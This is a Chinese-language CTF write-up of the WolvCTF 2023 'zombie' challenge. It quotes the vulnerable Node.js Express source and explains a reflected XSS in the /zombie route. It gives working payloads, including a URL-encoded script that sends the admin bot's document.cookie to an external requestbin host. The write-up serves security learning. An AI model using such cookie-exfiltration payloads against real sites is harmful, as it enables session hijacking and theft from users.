wolvctf 2023 zombie xss
当时做的时候没想到这道题考的是XSS,归结原因在于对nodejs的代码不熟悉。先上源码:
bot.js源码就不放了,主要功能概括一下就是点击用户提交的链接,把flag放到cookie里传过去,很容易联想到靶机出网,用buurequestbin接收。
index.js:
const fs = require('fs') const escape = require('escape-html') const exec = require('child_process') const express = require("express") const app = express() app.use(express.static('public')) const config = JSON.parse(fs.readFileSync('config.json')) process.env.FLAG = config.flag const validateRequest = (req) => { const url = req.query.url if (!url) { return 'Hmmm, not seeing a URL. Please try again.' } let parsedURL try { parsedURL = new URL(url) } catch (e) { return 'Something is wrong with your url: ' + escape(e.message) } if (parsedURL.protocol !== 'http:' && parsedURL.protocol !== 'https:') { return 'Our admin is picky. Please provide a url with the http or https protocol.' } if (parsedURL.hostname !== req.hostname) { return `Please provide a url with a hostname of: ${escape(req.hostname)} Hmmm, I guess that will restrict the submissions. TODO: Remove this restriction before the admin notices and we all get fired.` } return null } app.get('/visit', function(req, res) { const validateError = validateRequest(req) if (validateError) { res.send(validateError) return } const file = 'node' const args = ['bot.js', config.httpOnly, req.hostname, req.query.url] const options = { timeout: 10000 } const callback = function(error, stdout, stderr) { console.log(error, stdout, stderr); res.send('admin bot has visited your url') } exec.execFile(file, args, options, callback) }); // useful for debugging cloud deployments app.get('/debug', function(req, res) { if (config.allowDebug) { res.send({"remote-ip": req.socket.remoteAddress, ...req.headers}) } else { res.send('sorry, debug endpoint is not enabled') } }) app.get('/zombie', function(req, res) { const show = req.query.show if (!show) { res.send('Hmmmm, you did not mention a show') return } const rating = Math.floor(Math.random() * 3) let blurb switch (rating) { case 2: blurb = `Wow, we really liked ${show} too!` break; case 1: blurb = `Yeah, ${show} was ok... I guess.` break; case 0: blurb = `Sorry, ${show} was horrible.` break; } res.send(blurb) }) const port = 80 app.listen(port,() => { console.log(`Running on ${port}`); });
源码中定义了/zombie这样一个路由,有一个get传参的参数show,然后没有经过任何过滤直接把变量show输出了,这里很明显是个xss,也学到了nodejs中${show}是输出一个变量的意思。
show写成<script>alert(1)</script>测试一下,页面弹窗了。
show写成<script>window.location='http://http.requestbin.buuoj.cn/1h89wzy1'</script>,buurequestbin上接受到了请求。
然后看往bot提交处的代码,限制了hostname必须是靶机的hostname,还好有上面提到的/zombie路由,表格里url写:https://zombie-101-tlejfksioa-ul.a.run.app/zombie?show=%3Cscript%3Ewindow.location%3D%27http%3A%2F%2Fhttp.requestbin.buuoj.cn%2F1jy82h41%2F%3Fcookie%3D%27%2Bbtoa(JSON.stringify(document.cookie))%3B%3C%2Fscript%3E
后面的<script>window.location='http://http.requestbin.buuoj.cn/1jy82h41/?cookie='+btoa(JSON.stringify(document.cookie));</script>要经过url编码,否则接收不到,不知道为什么。